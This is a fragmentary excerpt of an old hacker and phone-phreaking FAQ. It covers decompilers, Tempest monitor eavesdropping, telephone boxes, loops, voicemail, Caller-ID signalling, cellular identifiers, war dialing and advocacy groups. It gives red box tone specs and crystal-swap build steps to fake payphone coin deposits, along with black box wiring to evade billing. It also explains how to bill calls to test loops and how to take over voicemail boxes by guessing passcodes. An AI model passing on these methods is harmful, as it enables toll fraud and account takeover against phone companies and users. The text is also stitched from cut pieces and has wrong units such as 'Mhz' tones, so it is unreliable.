even with full optimization turned on, or 2) it would have to recognize the
individual output of every compiler's code generator.
If the first case were to be correct, there would be no more need for compiler
benchmarks since every one would work the same. For the second case to be
true would require in immensely complex program that had to change with every
new compiler release.
OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5? This
gets us right back to the optimization issue. Code written for clarity and
understandability is often inefficient. Code written for maximum performance
(speed or size) is often cryptic (at best!) Add to this the fact that all
modern compilers have a multitude of optimization switches to control which
optimization techniques to enable and which to avoid. The bottom line is
that, for a reasonably large, complex source module, you can get the compiler
to produce a number of different object modules simply by changing your
optimization switches, so your decompiler will also have to be a deoptimizer
which can automagically recognize which optimization strategies were enabled
at compile time.
OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source code
without trying to interpret the optimization. What then? A good optimizer
can and will substantially rewrite the internals of your code, so what you get
out
of your decompiler will be, not only cryptic, but in many cases, riddled with
goto statements and other no-no's of good coding practice. At this point, you
have decompiled source, but what good is it?
Also note carefully my reference to source modules. One characteristic of C
is that it becomes largely unreadable unless broken into easily maintainable
source modules (.C files). How will the decompiler deal with that? It could
either try to decompile the whole program into some mammoth main() function,
losing all modularity, or it could try to place each called function into its
own file. The first way would generate unusable chaos and the second would
run into problems where the original source had files with multiple functions
using static data and/or one or more functions calling one or more static
functions. A decompiler could make static data and/or functions global but
only at the expense or readability (which would already be unacceptable).
Finally, remember that commercial applications often code the most difficult
or time-critical functions in assembler which could prove almost impossible to
decompile into a C equivalent.
Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C) also
conspire to make them less likely.
For years UNIX applications have been distributed in shrouded source form
(machine but not human readable -- all comments and whitespace removed,
variables names all in the form OOIIOIOI, etc.), which has been a quite
adequate means of protecting the author's rights. It's very unlikely that
decompiler output would even be as readable as shrouded source.

Subject: 13. Tempest
01. What is Tempest?
Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.
Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video monitors
close together. The pictures will behave erratically until you space them
apart.
What is important for an observer is the emission of digital pulses as these
are used in computers. The channel for this radiation is in two arrangements,
radiated emissions and conducted emissions. Radiated emissions are assembled
when components in electrical devices form to act as antennas. Conducted
emissions are formed when radiation is conducted along cables and wires.
Although most of the time these emissions are simply annoyances, they can
sometimes be very helpful. Suppose we wanted to see what project a target was
working on. We could sit in a van outside her office and use sensitive
electronic equipment to attempt to pick up and decipher the radiated emissions
from her video monitor. These emissions normally exist at around 55-245 Mhz
and can be picked up as far as one kilometer away.
A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this (coupled with other factors) varies the
emitted frequency.
Examples include different electronic components in video display units
(VDUs), different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc. By synchronizing our raster with the target’s
raster we can passively draw the observed screen in real-time. This
technology can be acquired by anyone, not just government agencies.
The target could shield the emissions from her equipment or use equipment that
does not generate strong emissions. However, Tempest equipment is not legal
for civilian use in the United States.
Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping. Tempest certification
refers to the equipment having passed a testing phase and agreeing to
emanations rules specified in the government document NACSIM 5100A
(Classified). This document sets forth the emanation levels that the US
Government believes equipment can give off without compromising the
information it is processing.
2. How do I find out more about Tempest?
To Kubla’s knowledge the most informative books about TEMPEST technology
(legally) obtainable by civilians is available through Security Engineering
Services, Inc., a consultant to the DoD. The books are
TEMPEST_Hardware_Engineering_and_Design and
TEMPEST_Program_Management_and_Systems_Engineering. To purchase them, send
$200 for the entire TEMPEST set (over 800 pages) or $100 for the specified
note set. Although unclassified, the TEMPEST books are considered sensitive
information not sold or releasable to nationals of any country other than the
U.S. Include $20 each for postage. Mail the order with fee to Security
Engineering Services - Books, PO Box 550, Chesapeake Beach, MD 20732.

Subject: 3. Boxes
01. What is a Red Box?
When a coin is inserted into a payphone, the payphone emits a set of tones to
ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into
believing you have actually put money into the phone. The red box simply
plays the ACTS tones into the telephone microphone. ACTS hears those tones,
and allows you to place your call. The actual tones are:
Nickel Signal 1700+2200hz 0.060s on
Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times repeating
Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different
tones than ACTS. In Canada, the tones to use are:
Nickel Signal 2200hz 0.060s on
Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating
02. How do I build a Red Box?
Red boxes are commonly manufactured from modified Radio Shack tone dialers,
Hallmark greeting cards, or made from scratch from readily available
electronic components.
To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the
dialer and replace the crystal with a new one. The purpose of the new crystal
is to cause the * button on your tone dialer to create a 1700Mhz and 2200Mhz
tone instead of the original 941Mhz and 1209Mhz tones. The exact value of the
replacement crystal should be 6.466806 to create a perfect 1700Mhz tone and
6.513698 to create a perfect 2200mhz tone. A crystal close to those values
will create a tone that easily falls within the loose tolerances of ACTS. The
most popular choice is the 6.5536Mhz crystal, because it is the easiest to
procure. Probably the best choice, however, is a 6.500 MHz crystal, because
it’s a little smaller and therefore easier to fit in. The old crystal is the
large shiny metal component labeled "3.579545Mhz." When you are finished
replacing the crystal, program the P1 button with five *'s. That will
simulate a quarter tone each time you press P1.
03. Where can I get a 6.5536/6.500Mhz crystal?
Your best bet is a local electronics store. Radio Shack sells them, but they
are overpriced and the store must order them in. This takes approximately two
weeks. In addition, many Radio Shack employees do not know that this can be
done.
Or, you could order the crystal mail order. This introduces Shipping and
Handling charges, which are usually much greater than the price of the

04. Which payphones will a Red Box work on?
Red Boxes will work on telco owned payphones, but not on COCOT's (Customer
Owned Coin Operated Telephones). Red boxes work by fooling ACTS (Automated
Coin Toll System) into believing you have put money into the pay phone. ACTS
is the telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited. COCOT's do not use ACTS.
On a COCOT, the pay phone itself is responsible for determining what coins
have been inserted.
05. How do I make local calls with a Red Box?
Payphones do not use ACTS for local calls. To use your red box for local
calls, you have to fool ACTS into getting involved in the call. One way to do
this, in some areas, is by dialing 10288-xxx-xxxx. This makes your call a
long distance call, and brings ACTS into the picture. In other areas, you can
call Directory Assistance and ask for the number of the person you are trying
to reach. The operator will give you the number and then you will hear a
message similar to "Your call can be completed automatically for an additional
35 cents." When this happens, you can then use ACTS tones.
06. What is a Blue Box?
Blue boxes use a 2600hz tone to size control of telephone switches that use
in-band signalling. The caller may then access special switch functions, with
the usual purpose of making free long distance phone calls, using the tones
provided by the Blue Box.
07. Do Blue Boxes still work?
This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:
--Begin Quoted Text--
Somewhere along the line I have seen reference to something similar to
"Because of ESS Blue boxing is impossible." This is incorrect. When I lived
in Connecticut I was able to blue box under Step by Step, #1AESS, and DMS-100.
The reason is simple, even though I was initiating my call to an 800 number
from a different exchange (Class 5 office, aka Central Office) in each case,
when the 800 call was routed to the toll network it would route through the
New Haven #5 Crossbar toll Tandem office. It just so happens that the trunks
between the class 5 (CO's) and the class 4 (toll office, in this case New
Haven #5 Xbar), utilized in-band (MF) signalling, so regardless of what I
dialed, as long as it was an Inter-Lata call, my call would route through this
particular set of trunks, and I could Blue box until I was blue in the face.
The originating Central Offices switch (SXS/ESS/etc..) had little effect on my
ability to box at all. While the advent of ESS (and other electronic
switches) has made the blue boxer's task a bit more difficult, ESS is not the
reason most of you are unable to blue box. The main culprit is the "forward
audio mute" feature of CCIS (out of band signalling). Unfortunately for the
boxer 99% of the Toll Completion centers communicate using CCIS links, This
spells disaster for the blue boxer since most of you must dial out of your
local area to find trunks that utilize MF signalling, you inevitably cross a
portion of the network that is CCIS equipped, you find an exchange that you
blow 2600hz at, you are rewarded with a nice "winkstart", and no matter what
MF tones you send at it, you meet with a re-order. This is because as soon as
you seized the trunk (your application of 2600hz), your Originating Toll
Office sees this as a loss of supervision at the destination, and Mutes any
further audio from being passed to the destination (ie: your waiting trunk!).
You meet with a reorder because the waiting trunk never "hears" any of the MF
tones you are sending, and it times out. So for the clever amongst you, you
must somehow get yourself to the 1000's of trunks out there that still utilize
MF signalling but bypass/disable the CCIS audio mute problem. (Hint: Take a
close look at WATS extenders).

08. What is a Black Box?
A Black Box is a resistor (and often capacitor in parallel) placed in series
across your phone line to cause the phone company equipment to be unable to
detect that you have answered your telephone. People who call you will then
not be billed for the telephone call. Black boxes do not work under ESS.

Subject: 4. What is XXXX?
01. What is an ANAC number?
An ANAC (Automatic Number Announcement Circuit) number is a telephone number
that plays back the number of the telephone that called it. ANAC numbers are
convenient if you want to know the telephone number of a pair of wires.
02. What is a ringback number?
A ringback number is a number that you call that will immediately ring the
telephone from which it was called.
In most instances you must call the ringback number, quickly hang up the phone
for just a short moment and then let up on the switch, you will then go back
off hook and hear a different tone. You may then hang up. You will be called
back seconds later.
14. What is a loop?
This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998 and
836-9999. They are used by the phone company for testing. What good do loops
do us? Well, they are cool in a few ways. Here is a simple use of loops.
Each loop has two ends, a 'high' end, and a 'low' end. One end gives a
(usually) constant, loud tone when it is called. The other end is silent.
Loops don't usually ring either. When BOTH ends are called, the people that
called each end can talk through the loop. Some loops are voice filtered and
won't pass anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call the end
that gives the loud tone. Then if the operator or someone calls the other
end, the tone will go quiet. Act like the phone just rang and you answered it
... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator
thinks that she just called you, and that's it! Now the phone bill will go to
the loop, and your local RBOC will get the bill! Use this technique in
moderation, or the loop may go down. Loops are probably most useful when you
want to talk to someone to whom you don't want to give your phone number.
04. What is a CNA number?
CNA stands for Customer Name and Address. The CNA number is a phone number
for telephone company personnel to call and get the name and address for a
phone number. If a telephone lineman finds a phone line he does not
recognize, he can use the ANI number to find its phone number and then call
the CNA operator to see who owns it and where they live.
Normal CNA numbers are available only to telephone company personnel. Private
citizens may legally get CNA information from private companies. Two such
companies are:
Unidirectory (900)933-3330
Telename (900)884-1212
Note that these are 900 numbers, and will cost you approximately one dollar
per minute.
If you are in 312 or 708, AmeriTech has a pay-for-play CNA service available
to the general public. The number is 796-9600. The cost is $.35/call and can
look up two numbers per call.
If you are in 415, Pacific Bell offers a public access CNL service at
(415)705-9299.
If you are in Bell Atlantic territory you can call (201)555-5454 or
(908)555-5454 for automated CNA information. The cost is $.50/call.
05. What is a Proctor Test Set?
A Proctor Test Set is a tool used by telco personnel to diagnose problems with
phone lines. You call the Proctor Test Set number and press buttons on a
touch tone phone to active the tests you select.
06. What is a PBX?
A PBX is a Private Branch Exchange. A PBX is a small telephone switch owned
by a company or organization. Let's say your company has a thousand
employees. Without a PBX, you would need a thousand phone lines. However,
only 10% of your employees are talking on the phone at one time. What if you
had a computer that automatically found an outside line every time one of your
employees picked up the telephone. With this type of system, you could get by
with only paying for one hundred phone lines. This is a PBX.
07. What is a VMB?
A VMB is a Voice Mail Box. A VMB is a computer that acts as an answering
machine for hundreds or thousands of users. Each user will have their own
Voice Mail Box on the system. Each mail box will have a box number and a pass
code.
Without a passcode, you will usually be able to leave messages to users on the
VMB system. With a passcode, you can read messages and administer a mailbox.
Often, mailboxes will exist that were created by default or are no longer
used.
These mailboxes may be taken over by guessing their passcode. Often the
passcode will be the mailbox number or a common number such as 1234.
------------------------------
Subject: 5. DTMF
01. What are the DTMF frequencies?
DTMF stands for Dual Tone Multi Frequency. These are the tones you get when
you press a key on your telephone touch pad. The tone of the button is the
sum of the column and row tones. The ABCD keys do not exist on standard
telephones.
1209 1336 1477 1633
697 1 2 3 A
770 4 5 6 B
852 7 8 9 C
941 * 0 # D
02. What are the ABCD tones for?
The ABCD tones are simply additional DTFM tones that may be used in any way
the standard (0-9) tones are used. The ABCD tones are used in the U.S.
military telephone network (AutoVon), in some Automatic Call Distributor (ACD)
systems, for control messages in some PBX systems, and in some amateur radio
auto-patches.
In the AutoVon network, special telephones are equipped with ABCD keys.
The ABCD keys are defined as such:
A - Flash
B - Flash override priority
C - Priority communication
D - Priority override
Using a built-in maintenance mode of the Automatic Call Distributor (ACD)
systems once used by Directory Assistance operators, you could connect two
callers together.
The purpose of the Silver Box is to create the ABCD tones.
03. A Quick Note About the Autovon
It is no longer used. Stop asking about it. I’ll write a section on the new
Military Network shortly.

Subject: 6. Caller-ID
01. What is Caller-ID?
This FAQ answer is stolen from Rockwell:
Calling Number Delivery (CND), better known as Caller ID, is a telephone
service intended for residential and small business customers. It allows the
called Customer Premises Equipment (CPE) to receive a calling party's
directory number and the date and time of the call during the first 4 second
silent interval in the ringing cycle.
Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:
Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load
Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start bit and a
stop bit. The CND message uses the Single Data Message format shown below.
| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |
Channel Seizure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing a
detectable alternating function to the CPE (i.e. the modem data pump).
Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition
the
receiver for data.
Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated with the
data message. The message type word for CND is 04h (00000100).
Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to follow.
Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following information:
o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field
If the calling party's directory number is not available to the terminating
central office, the data word field contains an ASCII "O". If the calling
party invokes the privacy capability, the data word field contains an ASCII
"P".
Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum of the
other words in the data message (i.e., message type, message length, and data
words). The receiving equipment may calculate the modulo 256 sum of the
received words and add this sum to the received checksum word. A result of
zero generally indicates that the message was correctly received. Message
retransmission is not supported.
Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:
04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word
Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between the
first and second ring bursts without causing the DAA to go off hook in the
conventional sense, which would inhibit the transmission of CND by the local
central office. A simple modification to an existing DAA circuit easily
accomplishes the task.
Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a Bell 202
modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem
receiver may be used to demodulate the Bell 202 signal. The ring indicate bit
(RI) may be used on a modem to indicate when to monitor the phone line for CND
information. After the RI bit sets, indicating the first ring burst, the host
waits for the RI bit to reset. The host then configures the modem to monitor
the phone line for CND information.
Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early as 300 mS
after the first ring burst and ends at least 475 mS before the second ring
burst
Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.
1. The date, time, and calling party's directory number can be
displayed.
2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.
3. CND information can also be used in additional ways such as for:
a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base

Subject: 7. Cellular
01. What is an MTSO?
MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching
office that connects all of the individual cell towers to the Central Office
(CO).
The MTSO is responsible for monitoring the relative signal strength of your
cellular phone as reported by each of the cell towers, and switching your
conversation to the cell tower which will give you the best possible
reception.
02. What is a NAM?
NAM stands for Number Assignment Module. The NAM is the EPROM that holds
information such as the MIN and SIDH. Cellular fraud is committed by
modifying the information stored in this component.
03. What is an ESN?
ESN stands for Electronic Serial Number. The is the serial number of your
cellular telephone.
04. What is an MIN?
MIN stands for Mobile Identification Number. This is the phone number of the
cellular telephone.
05. What is a SCM?
SCM stands for Station Class Mark. The SCM is a 4 bit number which holds
three different pieces of information. Your cellular telephone transmits this
information (and more) to the cell tower. Bit 1 of the SCM tells the cell
tower whether your cellphone uses the older 666 channel cellular system, or
the newer 832 channel cellular system. The expansion to 832 channels occured
in 1988. Bit 2 tells the cellular system whether your cellular telephone is a
mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the
cell tower what power your cellular telephone should be transmitting on.
Bit 1: 0 == 666 channels
1 == 832 channels
Bit 2: 0 == Mobile cellular telephone
1 == Voice activated cellular telephone
Bit 3/4: 00 == 3.0 watts (Mobiles)
01 == 1.2 watts (Transportables)
10 == .06 watts (Portables)
11 == Reserved for future use
06. What is a SIDH?
SIDH stands for System Identification for Home System. The SIDH in your
cellular telephone tells the cellular system what area your cellular service
originates from. This is used in roaming (making cellular calls when in an
area not served by your cellular provider).
Every geographical region has two SIDH codes, one for the wireline carrier and
one for the nonwireline carrier. These are the two companies that are legally
allowed to provide cellular telephone service in that region. The wireline
carrier is usually your local telephone company, while the nonwireline carrier
will be another company. The SIDH for the wireline carrier is always an even
number, while the SIDH for the nonwireline carrier is always an odd number.
The wireline carrier is also known as the Side-B carrier and the non-wireline
carrier is also known as the Side-A carrier.
07. What are the forward/reverse channels?
Forward channels are the frequencies the cell towers use to talk to your
cellular telephone. Reverse channels are the frequencies your cellular
telephone uses to talk to the cell towers.
The forward channel is usually 45 mhz above the reverse channel. For example,
if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz.
------------------------------
Subject: 8. Miscellaneous
01. What is scanning?
Scanning is dialing a large number of telephone numbers in the hope of finding
interesting carriers (computers) or tones. Scanning can be done by hand,
although dialing several thousand telephone numbers by hand is extremely
boring and takes a long time. Much better is to use a scanning program,
sometimes called a war dialer or a demon dialer. Currently, the best war
dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.
ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/. A war dialer will
dial a range of numbers and log what it finds at each number. You can then
only dial up the numbers that the war dialer marked as carriers or tones.
02. Is scanning illegal?
Excerpt from: 2600, Spring 1990, Page 27:
--Begin Quoted Text--
In some places, scanning has been made illegal. It would be hard, though, for
someone to file a complaint against you for scanning since the whole purpose
is to call every number once and only once. It's not likely to be thought of
as harassment by anyone who gets a single phone call from a scanning computer.
Some central offices have been known to react strangely when people start
scanning. Sometimes you're unable to get a dialtone for hours after you start
scanning. But there is no uniform policy. The best thing to do is to first
find out if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is to give
it a try.
--End Quoted Text--
It should be noted that a law making scanning illegal was passed in Colorado
Springs, CO. It is now illegal to place a call in Colorado Springs without
the intent to communicate.

[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[7] - *82 (1182) has been mandated to be the nationwide code for
"Send CLID info regardless of the default setting on this
phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.
The reason for different codes for some features in MLVP is
that call-pickup is *8 in MLVP so all *8x codes are
reassigned *5x

Subject: 9. Phone Number Lists
01. What is the ANAC number for my area?
How to find your ANAC number:
Look up your NPA (Area Code) and try the number listed for it. If that fails,
try 1 plus the number listed for it. If that fails, try the common numbers
like 311, 958 and 200-222-2222. If you find the ANAC number for your area,
please let us know.
Note that many times the ANAC number will vary for different switches in the
same city. The geographic naming on the list is NOT intended to be an
accurate reference for coverage patterns, it is for convenience only.
Many companies operate 800 number services which will read back to you the
number from which you are calling. Many of these require navigating a series
of menus to get the phone number you are looking for. Please use local ANAC
numbers if you can, as overuse or abuse can kill 800 ANAC numbers.
(800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!)
(800)858-9857 AT&T True Rewards
A non-800 ANAC that works nationwide is 404-988-9664. The one catch with this
number is that it must be dialed with the AT&T Carrier Access Code 10732. Use
of this number does not appear to be billed.
Note: These geographic areas are for reference purposes only. ANAC numbers
may vary from switch to switch within the same city.

02. What is the ringback number for my area?
An 'x' means insert those numbers from the phone number from which you are
calling. A '?' means that the number varies from switch to switch in the
area, or changes from time to time. Try all possible combinations.
If the ringback for your NPA is not listed, try common ones such as 114,
951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for other
NPA's served by your telephone company.
Note: These geographic areas are for reference purposes only. Ringback
numbers may vary from switch to switch within the same city.

concerning the applications of computing and how those choices affect society.
By matching unimpeachable technical information with policy development savvy,
CPSR uses minimum dollars to have maximum impact and encourages broad public
participation in the shaping of technology policy.
Every project we undertake is based on five principles:
* We foster and support public discussion of and public responsibility
for decisions involving the use of computers in systems critical to
society.
* We work to dispel popular myths about the infallibility of
technological systems.
* We challenge the assumption that technology alone can solve political
and social problems.
* We critically examine social and technical issues within the computer
profession, nationally and internationally.
* We encourage the use of computer technology to improve the quality of
life.

Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of
policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit group that
grew from the conviction that a new public interest organization was needed in
the information age; that this organization would enhance and protect the
democratic potential of new computer communications technology. From the
beginning, the EFF determined to become an organization that would combine
technical, legal, and public policy expertise, and would apply these skills to
the myriad issues and concerns that arise whenever a new communications medium
is born.
Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Free Software Foundation is dedicated to eliminating restrictions on
people's right to use, copy, modify, and redistribute computer programs. We
promote the development and use of free software in all areas using computers.
Specifically, we are putting together a complete, integrated software system
named "GNU" ("GNU's Not UNIX", pronounced "guh-new") that will be upwardly
compatible with UNIX. Most parts of this system are already being used and
distributed.
The word "free" in our name refers to freedom, not price. You may or may not
pay money to get GNU software, but regardless you have two specific freedoms
once you get it: first, the freedom to copy a program and give it away to your
friends and co-workers; and second, the freedom to change a program as you
wish, by having full access to source code. You can study the source and learn
how such programs are written. You may then be able to port it, improve it,
and share your changes with others. If you redistribute GNU software you may
charge a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).

GNU is to be a complete integrated computational environment: everything you
need to work with a computer, either as a programmer or as a person in an
office or home. The core is an operating system, which consists of a central
program called a kernel that runs the other programs on the computer, and a
large number of ancillary programs for handling files, etc. The Free Software
Foundation is developing an advanced kernel called the Hurd.
A complete system has tools for programmers, such as compilers and debuggers.
It also has editors, sketchpads, calendars, calculators, spreadsheets,
databases, electronic mail readers, and Internet navigators. The FSF already
distributes most of the programs used in an operating system, all the tools
regularly used by programmers, and much more.
The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who oppose the
attempt to monopolize common user interfaces through "look and feel" copyright
lawsuits. Some of us are programmers, who worry that such monopolies will
obstruct our work. Some of us are users, who want new computer systems to be
compatible with the interfaces we know. Some are founders of hardware or
software companies, such as Richard P. Gabriel. Some of us are professors or
researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr.,
Robert S. Boyer and Patrick Winston.
"Look and feel" lawsuits aim to create a new class of government-enforced
monopolies broader in scope than ever before. Such a system of user-interface
copyright would impose gratuitous incompatibility, reduce competition, and
stifle innovation.
We in the League hope to prevent these problems by preventing user-interface
copyright. The League is NOT opposed to copyright law as it was understood
until 1986 -- copyright on particular programs. Our aim is to stop changes in
the copyright system which would take away programmers' traditional freedom to
write new programs compatible with existing programs and practices.
Annual dues for individual members are $42 for employed professionals, $10.50
for students, and $21 for others. We appreciate activists, but members who
cannot contribute their time are also welcome.
To contact the League, phone (617) 243-4091, send Internet mail to the

Computer Emergency Response Team (CERT)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CERT is the Computer Emergency Response Team that was formed by the Defense
Advanced Research Projects Agency (DARPA) in November 1988 in response to the
needs exhibited during the Internet worm incident. The CERT charter is to
work with the Internet community to facilitate its response to computer
security events involving Internet hosts, to take proactive steps to raise the
community's awareness of computer security issues, and to conduct research
targeted at improving the security of existing systems.
CERT products and services include 24-hour technical assistance for responding
to computer security incidents, product vulnerability assistance, technical
documents, and seminars. In addition, the team maintains a number of mailing
lists (including one for CERT advisories) and provides an anonymous FTP
server:
cert.org (192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.
